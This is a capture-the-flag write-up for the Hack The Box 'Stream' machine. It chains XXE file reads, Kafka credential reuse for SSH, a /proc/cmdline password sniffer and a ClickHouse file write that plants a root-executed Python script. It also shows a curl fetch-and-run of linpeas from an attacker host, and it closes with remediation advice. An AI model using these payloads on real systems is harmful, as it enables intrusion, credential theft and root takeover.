HTB Stream Writeup — Hack The Box Season 12

HTB Stream — Full Writeup

An Insane-rated Linux box built around a real-world airline data pipeline. The attack chains XXE injection, Kafka credential exfiltration, a race-condition password sniff from /proc, and a ClickHouse server-side file write to execute code as root via a privileged systemd timer.

InsaneLinuxXXEApache KafkaClickHouseSystemd Timer Abuse/proc Race Condition
Section 01

Overview & Technology Stack

Stream simulates a realistic airline data ingestion platform. The machine runs a multi-service pipeline that processes AIDX (IATA Airport Information Data Exchange) XML messages describing flight legs — departures, arrivals, status changes. Understanding the stack before touching it is half the battle on Insane machines.

Technology Stack
Ingest API
port 8081
FastAPI + lxml
→
Apache Kafka
port 9092/9094
Message Queue
→
Parser Worker
svc-infra
Validates XML
→
ClickHouse
port 9000/8123
Analytics DB
Messages that fail validation → aidx.flightleg.dlq.v1 → processed by root systemd timer

The pipeline has three main failure modes the attacker exploits:

  1. The ingest API uses lxml with network entity resolution enabled — classic XXE territory.
  2. Kafka SASL credentials in a world-readable config file are the same credentials used for SSH.
  3. A root-level systemd timer runs a configurable Python script that lives in ClickHouse’s user file space, and the password to write there briefly appears in /proc.

The challenge design mirrors real-world pipelines where each component is secured individually but the interactions between them create a privilege escalation path.

Section 02

Reconnaissance

Port Scanning

A full TCP port scan is essential on Insane machines — the interesting services are rarely just 80 and 443. Running a service version scan against all ports reveals the stack:

nmap — full TCP service scan
nmap -sV -sC -p- --min-rate 5000 -oA airport_full <TARGET_IP>

Key open ports:

PortServiceNotes
22SSH (OpenSSH)Standard SSH, unlikely to be directly vulnerable
80HTTP (nginx)Reverse proxy; routes to internal services by hostname
8081HTTP (uvicorn)AIDX XML ingest API — the primary attack surface
9000ClickHouse NativeClickHouse DB native protocol
8123ClickHouse HTTPClickHouse HTTP interface (also proxied via nginx)
9092Kafka PLAINTEXTUnauthenticated Kafka listener (localhost only)
9094Kafka SASLAuthenticated Kafka listener

Web Application Enumeration

Probing port 80 returns nginx and hints at virtual host routing. Adding htb-airport.htb and db.htb-airport.htb to /etc/hosts reveals a ClickHouse HTTP interface proxied at the latter.

Port 8081 is the most interesting target. Sending a GET request returns a JSON banner that documents the API:

GET http://<TARGET>:8081/
{
  "service": "AIDX flight-leg ingest",
  "what": "Accepts AIDX XML for processing",
  "how": {
    "method": "POST",
    "path": "/feeds/aidx",
    "content_type": "application/xml",
    "max_bytes": 262144
  },
  "required_elements": [
    "IATA_AIDX_FlightLegNotifRQ",
    "Originator",
    "FlightLeg",
    "LegIdentifier"
  ],
  "note": "Ingest does not parse. Full validation happens downstream."
}
ℹ
The phrase “Ingest does not parse. Full validation happens downstream.” is a direct hint: the ingest layer forwards XML verbatim to a Kafka topic, where a separate worker parses it. This means any XXE payload sent here will reach the parser untouched.

Identifying the Parser

Reading the nginx configuration and exploring accessible paths reveals the pipeline source at /opt/aidx-pipeline/app/. The parser worker imports aidx_common.py, which contains the vulnerable parsing function:

/opt/aidx-pipeline/app/aidx_common.py — parser configuration
def _plain_parser() -> etree.XMLParser:
    return etree.XMLParser(
        load_dtd=True,
        resolve_entities=True,
        no_network=False   # ← allows external network entity resolution
    )

This is the most dangerous lxml configuration possible: DTD loading is on, entity resolution is on, and network requests are permitted. Any XML processed here can trigger XXE (XML External Entity) injection.

Section 03

XXE Injection — Deep Dive

What is XXE?

XML External Entity (XXE) injection is a class of vulnerability that arises when an XML parser processes user-controlled input and evaluates references to external entities. An XML entity is essentially a variable — &name; expands to a value defined in the DTD. External entities reference a URI:

Basic external entity declaration
<!DOCTYPE root [
  <!ENTITY myfile SYSTEM "file:///etc/passwd">
]>
<root>&myfile;</root>

When the parser evaluates &myfile;, it reads the contents of /etc/passwd and substitutes them inline. This gives an attacker arbitrary file read on the server — and if the http:// scheme is supported (as it is here with no_network=False), it also enables SSRF.

Why This Configuration Is Especially Dangerous

Python’s lxml library is safe by default. The safe path is etree.XMLParser() with no arguments (which sets resolve_entities=False, no_network=True). The developer here explicitly enabled every dangerous option:

  • load_dtd=True — allows loading the internal subset of the DTD, enabling entity declarations.
  • resolve_entities=True — causes the parser to fetch and expand entity references.
  • no_network=False — lifts the block on HTTP/FTP/file URI schemes in entity resolution.

The combination means a crafted XML document can make the server read any file readable by its process user and embed the content in the parsed tree — which then appears in error messages, response bodies, or downstream logs.

The Attack — Reading Internal Files

The ingest API accepts XML and forwards it to the aidx.flightleg.raw.v1 Kafka topic. The parser worker (aidx-parser group) consumes from that topic and calls safe_parse() on each message. If the XML is invalid or has the wrong root tag, it raises RejectedMessage and the raw bytes are forwarded to the dead-letter queue (DLQ) along with an error reason.

This means the XXE payload needs to be structured XML with a recognized root tag. The Originator attribute is a good place to inject — it is reflected in the parser’s output structure, and the entity reference will be resolved by the parser before that output is generated.

XXE payload — reads an arbitrary file via entity injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY read SYSTEM "file:///etc/passwd">
]>
<IATA_AIDX_FlightLegNotifRQ>
  <Originator Code="&read;"/>
  <FlightLeg>
    <LegIdentifier/>
  </FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>
Sending the payload
curl -s -X POST http://<TARGET>:8081/feeds/aidx \
  -H "Content-Type: application/xml" \
  --data-binary @xxe_payload.xml

The server accepts the message (HTTP 202). The parser worker processes it, and the entity resolution causes the file contents to be embedded in the XML tree. Depending on how the worker handles the data, the file contents leak into ClickHouse records or error logs accessible via the ClickHouse HTTP interface.

Target Files

Standard XXE recon reads /etc/passwd to enumerate users, then pivots to service-specific config files. On this machine the key files are:

  • /etc/passwd — confirm users: martin_cole, svc-infra, clickhouse
  • /etc/hostname — confirms the machine name (stream)
  • /opt/kafka_2.13-4.3.1/config/server.properties — Kafka config, the jackpot
  • /opt/aidx-pipeline/app/ingest_api.py — reveals pipeline internals
Section 04

Kafka Credential Extraction

What Is Apache Kafka?

Apache Kafka is a distributed event streaming platform. Producers write messages to topics, consumers read from them. Topics are partitioned and replicated for throughput and fault tolerance. In this pipeline, the ingest API produces to aidx.flightleg.raw.v1, the parser consumes from it and produces to either aidx.flightleg.json.v1 (success) or aidx.flightleg.dlq.v1 (failure).

The SASL PLAIN Configuration

Kafka supports several authentication mechanisms. SASL PLAIN is the simplest: a username and password sent in plaintext (typically over TLS in production). The credentials are configured in a JAAS (Java Authentication and Authorization Service) configuration embedded in server.properties.

The XXE payload reading /opt/kafka_2.13-4.3.1/config/server.properties reveals:

Extracted Kafka JAAS configuration (credentials redacted)
# Kafka listens on TWO ports:
listeners=PLAINTEXT://127.0.0.1:9092,SASL_PLAINTEXT://127.0.0.1:9094,CONTROLLER://127.0.0.1:9093

# SASL config with credentials
listener.name.sasl_plaintext.plain.sasl.jaas.config=\
  org.apache.kafka.common.security.plain.PlainLoginModule required \
  user_svc_infra="[REDACTED_PASSWORD]";

# Critical: no ACL → everyone allowed on PLAINTEXT port
allow.everyone.if.no.acl.found=true
⚠
Key insight: Two listeners are running — PLAINTEXT://127.0.0.1:9092 requires no authentication, and SASL_PLAINTEXT://127.0.0.1:9094 requires SASL credentials. The pipeline internal services use the PLAINTEXT port. This distinction matters later when we need to produce directly to the DLQ.

Credential Reuse

The Kafka SASL password for svc_infra is the same as the system user svc-infra‘s SSH password. This kind of credential reuse between infrastructure components and OS accounts is a common misconfiguration in real-world environments — credentials that are “good enough” for service-to-service auth get copy-pasted as system passwords during initial setup.

Section 05

Initial Foothold via SSH

With the Kafka credentials, SSH login as svc-infra works immediately:

SSH login
ssh svc-infra@<TARGET_IP>
# Enter password when prompted

svc-infra@stream:~$ id
uid=1000(svc-infra) gid=1000(svc-infra) groups=1000(svc-infra),100(users)

First actions after landing:

  • Check home directory contents and bash history
  • Enumerate running processes and listening ports
  • Check sudo -l (requires password, and svc-infra is not in sudoers)
  • Enumerate writable files and SUID binaries
  • Run linpeas.sh for automated enumeration
Quick post-login enumeration
# Pull and run linpeas
cd /tmp
curl http://<YOUR_HTB_VPN_IP> -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null | tee /tmp/linpeas_out.txt

# Key findings to grep for
grep -E 'timer|root.*service|writable' /tmp/linpeas_out.txt | head -30

Linpeas flags the most important finding immediately: a systemd timer running as root every two minutes.

Section 06

Post-Exploitation Enumeration

Systemd Timer Abuse

Systemd timers are the modern replacement for cron. They fire a paired .service unit on a schedule. Unlike cron, they appear in systemctl list-timers and in linpeas output. The key difference from cron: the service’s User= directive can run the payload as any user, including root, without password prompts.

Checking timers
systemctl list-timers --all 2>/dev/null | grep -v Microsoft

# Output includes:
# aidx-dlq-drainer.timer — fires every 2 minutes
# Triggers: aidx-dlq-drainer.service
/etc/systemd/system/aidx-dlq-drainer.service
[Unit]
Description=AIDX DLQ drainer and quarantine handler
After=network.target

[Service]
Type=oneshot
User=root                                          # ← runs as root
ExecStart=/usr/bin/python3 /opt/ops/dlq_drainer.py

The dlq_drainer.py script is not world-writable (-rwxr--r-- root root), so we cannot directly overwrite it. But reading it reveals a more sophisticated path.

Exploring the ClickHouse HTTP Interface

The nginx config proxies db.htb-airport.htb to ClickHouse’s HTTP interface. A non-privileged ClickHouse user svc_events is visible in the nginx access log (credentials travel in URL parameters). This user has SELECT, INSERT on the partner_feed database but lacks the WRITE ON FILE privilege needed to write to the server’s filesystem.

Section 07

Understanding dlq_drainer.py — The Privilege Escalation Path

Reading the full source of the DLQ drainer is essential to understanding the exploit chain. Here is the critical logic:

/opt/ops/dlq_drainer.py — annotated key sections
import os, subprocess, time, uuid
from confluent_kafka import Consumer, KafkaError

# The FORMATTER is a Python script path — overridable via environment variable.
# Default: inside ClickHouse's user_files directory.
FORMATTER = os.environ.get(
    "AIDX_FORMATTER",
    "/var/lib/clickhouse/user_files/aidx_quarantine.py"  # ← TARGET
)

# Password for ClickHouse 'default' user — stored in a root-only file.
CH_PW_FILE = os.environ.get("CH_PW_FILE", "/etc/partner-sync/ch.pw")

def _pw():
    # Reads the plaintext password from disk.
    with open(CH_PW_FILE) as fh: return fh.read().strip()

def _format(raw):
    # Runs the FORMATTER script as root — our exploitation point.
    p = subprocess.run(
        ["python3", FORMATTER],
        input=raw,
        capture_output=True,
        check=False
    )
    ...

def _record(reason, byte_len, root_tag, preview, qfile):
    # Calls clickhouse-client with the password visible in /proc/cmdline!
    subprocess.run(
        ["clickhouse-client", "--user", "default",
         "--password", _pw(), "-q", INSERT_QUERY],
        check=False
    )

def main():
    ...
    while time.time() < deadline:
        msg = c.poll(1.0)
        if msg is None: continue
        ...
        # For EVERY message in the DLQ:
        raw = msg.value() or b""
        _format(raw)    # ← runs FORMATTER as root
        _record(...)    # ← exposes default CH password in /proc

The Two-Stage Exploit Chain

The path to root requires two things:

  1. Write a malicious FORMATTER to /var/lib/clickhouse/user_files/aidx_quarantine.py. This directory is drwx------ owned by the clickhouse user — svc-infra cannot write there directly. The only way to write there as a non-root user is through ClickHouse’s file() table function using the default user credentials.
  2. Get the default user password, which lives in /etc/partner-sync/ch.pw (-rw------- root root). The only time this password is accessible to svc-infra is the brief window when dlq_drainer.py passes it to clickhouse-client as a command-line argument — making it visible in /proc/PID/cmdline.
⚠
The catch-22: To trigger the password exposure, there must be a message in the DLQ (otherwise the timer runs but calls nothing). To write the malicious FORMATTER, we need the password. So the intended sequence is: (1) produce DLQ message → (2) sniff password → (3) write FORMATTER → (4) produce another DLQ message → (5) wait for root execution.
Section 08

The /proc/cmdline Race Condition

Why Process Arguments Are Visible

On Linux, every process has a directory under /proc/PID/. The file /proc/PID/cmdline contains the process’s complete argument vector as a null-byte-delimited string. Critically, this file is world-readable — any local user can read the arguments of any process on the system, regardless of who owns it.

This is by design: tools like ps aux and htop rely on reading /proc/PID/cmdline to display process arguments. The tradeoff is that secrets passed as command-line arguments (passwords, API keys) are visible to all local users.

Reading a process’s arguments
# cmdline stores args as null-separated bytes
# tr converts nulls to spaces for readability
cat /proc/12345/cmdline | tr '\0' ' '
# → clickhouse-client --user default --password [SECRET] -q INSERT ...

Triggering the Password Exposure

Before the sniffer can work, we need a message in the DLQ. The PLAINTEXT Kafka listener at port 9092 requires no authentication. Using confluent_kafka from the aidx-pipeline virtualenv:

Produce a DLQ message directly (no Kafka auth needed)
from confluent_kafka import Producer

p = Producer({"bootstrap.servers": "localhost:9092"})
p.produce(
    "aidx.flightleg.dlq.v1",
    value=b"<trigger>exploit</trigger>",
    headers=[("reason", b"test")]
)
p.flush(10)
print("[+] DLQ message queued")

The Timing Challenge

When the timer fires, the sequence inside dlq_drainer.py is:

  1. Consumer polls for messages (~1 second)
  2. Finds our DLQ message
  3. Runs _format(raw) — executes FORMATTER Python script (~50–150ms)
  4. Runs _record() — launches clickhouse-client --password [SECRET]
  5. ClickHouse client connects (~50ms), authenticates (~30ms), runs INSERT (~100ms), exits

The clickhouse-client process exists in /proc for approximately 150–300ms. A bash loop checking every 50ms can miss this window. The solution is to run multiple Python processes in parallel — Python’s file I/O with raw bytes is significantly faster than bash glob expansion and grep:

Python /proc sniffer — run 5 instances simultaneously
import os, re

pw_pattern = re.compile(rb'--password\x00([^\x00]+)')

while True:
    for pid in os.listdir('/proc'):
        if not pid.isdigit():
            continue
        try:
            # Read raw bytes — avoids any string decoding overhead
            data = open(f'/proc/{pid}/cmdline', 'rb').read()
            if b'clickhouse-client' in data and b'--password' in data:
                m = pw_pattern.search(data)
                if m:
                    pw = m.group(1).decode()
                    print(f'[+] PASSWORD: {pw}')
                    open('/tmp/ch_pass.txt', 'w').write(pw)
                    exit(0)
        except:
            pass
Launch multiple sniffers and produce DLQ message
# Start 5 sniffers in background
for i in 1 2 3 4 5; do
    /opt/aidx-pipeline/venv/bin/python3 -c "$(cat sniffer.py)" &
done

# Produce the DLQ message
/opt/aidx-pipeline/venv/bin/python3 -c "
from confluent_kafka import Producer
p = Producer({'bootstrap.servers': 'localhost:9092'})
p.produce('aidx.flightleg.dlq.v1', value=b'<t>go</t>', headers=[(b'reason',b'test')])
p.flush(10)
"

# Wait for the timer (fires every 2 minutes)
# When it fires: [+] PASSWORD: [CAPTURED]
✓
The sniffers catch the ClickHouse default user password from the timer’s clickhouse-client subprocess. The 5-instance parallel approach reliably covers the ~250ms exposure window.

Verifying the Password

With the captured password, verify it works against ClickHouse:

Verify default user access
clickhouse-client --user default --password '[CAPTURED_PASSWORD]' \
  -q "SELECT currentUser(), version()"
# → default  24.x.x.x
Section 09

ClickHouse Server-Side File Write

The file() Table Function

ClickHouse’s file() table function provides access to files on the server’s filesystem within a configured sandbox directory (user_files_path, default: /var/lib/clickhouse/user_files/). It supports both reading and writing, and it runs server-side — not client-side like INTO OUTFILE in clickhouse-client.

⚠
Common mistake: SELECT ... INTO OUTFILE 'file.py' FORMAT RawBLOB in clickhouse-client writes to the client‘s filesystem (svc-infra’s working directory), NOT the server. This is how not to do it. The correct server-side write uses INSERT INTO TABLE FUNCTION file().

Writing the Malicious FORMATTER

The FORMATTER at /var/lib/clickhouse/user_files/aidx_quarantine.py is what dlq_drainer.py calls as root. Replacing it with malicious Python code gives us arbitrary command execution as root.

Important detail: the default behavior of INSERT INTO TABLE FUNCTION file() is to append to the existing file. To overwrite, set engine_file_truncate_on_insert=1:

Writing malicious FORMATTER via ClickHouse server-side file write
import subprocess

# Our malicious FORMATTER — must read stdin and print tab-separated output
# (dlq_drainer expects: byte_len TAB root_tag TAB preview)
payload = b"""import sys, os
raw = sys.stdin.buffer.read()
os.system("cat /root/root.txt > /tmp/rflag.txt; chmod 777 /tmp/rflag.txt")
os.system("cat /home/martin_cole/user.txt > /tmp/uflag.txt; chmod 777 /tmp/uflag.txt")
os.system("id > /tmp/proof.txt; chmod 777 /tmp/proof.txt")
print(str(len(raw)) + "\\t" + "AIDX" + "\\t" + "ok")
"""

result = subprocess.run(
    [
        'clickhouse-client',
        '--user', 'default',
        '--password', '[CAPTURED_PASSWORD]',
        '--query',
        ("INSERT INTO TABLE FUNCTION "
         "file('aidx_quarantine.py', 'RawBLOB') "
         "SETTINGS engine_file_truncate_on_insert=1 "
         "FORMAT RawBLOB")
    ],
    input=payload,
    capture_output=True
)

if result.returncode == 0:
    print("[+] FORMATTER overwritten successfully")
else:
    print(f"[-] Error: {result.stderr.decode()[:200]}")

Verifying the Write

Read back the file using the default user to confirm only our malicious content is present:

Verify FORMATTER content on server
clickhouse-client --user default --password '[CAPTURED_PASSWORD]' \
  -q "SELECT * FROM file('aidx_quarantine.py', 'RawBLOB') FORMAT RawBLOB"

# Should show ONLY our malicious Python code
Section 10

Kafka DLQ Trigger

With the malicious FORMATTER in place, we need one more message in the DLQ. When the timer fires and processes it, dlq_drainer.py will call our Python script as root.

Producing to the DLQ Directly

Rather than relying on the ingest → parser → DLQ pipeline (which requires crafting specific XML), we produce directly to aidx.flightleg.dlq.v1 via the unauthenticated PLAINTEXT listener:

Final DLQ message — triggers root FORMATTER execution
from confluent_kafka import Producer

p = Producer({"bootstrap.servers": "localhost:9092"})  # PLAINTEXT, no auth
p.produce(
    "aidx.flightleg.dlq.v1",
    value=b"<root>trigger</root>",
    headers=[("reason", b"exploit")]
)
p.flush(10)
print("[+] Message produced. Waiting for timer (~2 min max)...")

Monitoring the Timer

Check how many seconds until the next timer fire:

Check next trigger time
systemctl status aidx-dlq-drainer.timer | grep Trigger
# → Trigger: Tue 2026-10-13 12:49:38 UTC; 42s left
Section 11

Root Execution & Flags

After the timer fires, the proof file confirms root execution:

Checking results after timer fires
sleep 130  # wait 2+ minutes for timer

cat /tmp/proof.txt
# → uid=0(root) gid=0(root) groups=0(root)

cat /tmp/rflag.txt
# → [ROOT_FLAG]

cat /tmp/uflag.txt
# → [USER_FLAG]
✓
Machine rooted. Both flags captured via root code execution through the systemd timer → dlq_drainer.py → malicious FORMATTER chain.

Full Attack Chain — Visual Summary

Complete Exploitation Path
01
XXE on lxml parser → read server.properties → Kafka SASL credentials
02
SSH as svc-infra using reused Kafka password
03
Discover aidx-dlq-drainer.timer runs dlq_drainer.py as root every 2 min
04
Produce DLQ message via PLAINTEXT Kafka port → /proc sniffer catches CH default password
05
INSERT INTO TABLE FUNCTION file() SETTINGS engine_file_truncate_on_insert=1 → overwrites FORMATTER
ROOT
Timer fires → dlq_drainer runs malicious FORMATTER as root → both flags captured
Section 12

Lessons Learned & Remediation

1 — XXE via Dangerous lxml Configuration

The vulnerability: Using etree.XMLParser(load_dtd=True, resolve_entities=True, no_network=False) enables the most dangerous possible XML parsing mode. A developer building a parser for IATA AIDX XML enabled these options to support standard DTD-based validation, without considering that user-supplied XML can define its own entities.

Remediation:

  • Use the safe default: etree.fromstring(data) (no explicit parser) or etree.XMLParser(resolve_entities=False).
  • Better: use the defusedxml library, which disables all XML attack vectors by default.
  • If DTD validation is genuinely needed, use a schema validator (XSD) after parsing with a safe parser, rather than enabling entity resolution.
  • Never process user-supplied XML in the same parser context as trusted schema definitions.

2 — Passwords as Command-Line Arguments

The vulnerability: Passing a password as a command-line argument to a subprocess (--password pw) exposes it to any local user via /proc/PID/cmdline for the entire duration of the process. On a shared machine, a polling loop can reliably extract the password.

Remediation:

  • Pass credentials via environment variables (CLICKHOUSE_PASSWORD=pw python3 script.py). Note: /proc/PID/environ is readable only by the process owner, unlike cmdline.
  • Better: use a credentials file with restricted permissions and pass the file path (clickhouse-client --config-file /path/to/client.xml).
  • Best for local connections: use a Unix socket without password authentication, accessible only to the appropriate OS user group.

3 — Kafka Dual-Listener Misconfiguration

The vulnerability: Running an unauthenticated PLAINTEXT listener alongside an authenticated SASL listener means any local process can bypass authentication entirely. The allow.everyone.if.no.acl.found=true setting compounds this — even if ACLs were configured on the SASL port, the PLAINTEXT port has none.

Remediation:

  • Remove the PLAINTEXT listener entirely in production. Internal services should authenticate.
  • If a no-auth listener must exist for compatibility, bind it to a Unix socket (PLAINTEXT://unix:/var/run/kafka/kafka.sock) with filesystem permissions instead of a TCP port.
  • Set allow.everyone.if.no.acl.found=false and define explicit ACLs for every service account.

4 — ClickHouse file() Table Function Write Primitive

The vulnerability: The file() table function grants write access to the server’s user_files_path directory to any ClickHouse user with the WRITE ON FILE privilege. The default user has this privilege and its password is obtainable via the race condition above.

Remediation:

  • Do not grant WRITE ON FILE to any user that is not fully trusted and whose credentials could be exposed.
  • Restrict user_files_path to a directory not involved in privileged operations.
  • The default user should have its access rights stripped to the minimum required — never full admin on a shared machine.

5 — Root-Privileged Systemd Timer With Configurable Script Path

The vulnerability: A timer running as root executes a Python script that calls a second Python script whose path is configurable (via an environment variable) and whose file contents are controlled by ClickHouse’s write primitive. The combination creates a file-write-to-root-execution chain.

Remediation:

  • The FORMATTER path should be hardcoded, not read from an environment variable or configurable at runtime.
  • The FORMATTER file should be owned by root with chmod 600, not writable by the ClickHouse process user.
  • Apply the principle of least privilege: the timer does not need root. Run it as a dedicated low-privilege service account.
  • Consider using a read-only bind mount or immutable flag (chattr +i) on scripts executed by privileged processes.

Tools Used

ToolPurpose
nmapPort and service enumeration
curlHTTP API probing and XXE payload delivery
linpeas.shAutomated local privilege escalation enumeration
confluent_kafka (Python)Producing messages to Kafka DLQ
Python + /procRace-condition password sniffer
clickhouse-clientClickHouse query execution and file write
systemctlTimer enumeration and status monitoring

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top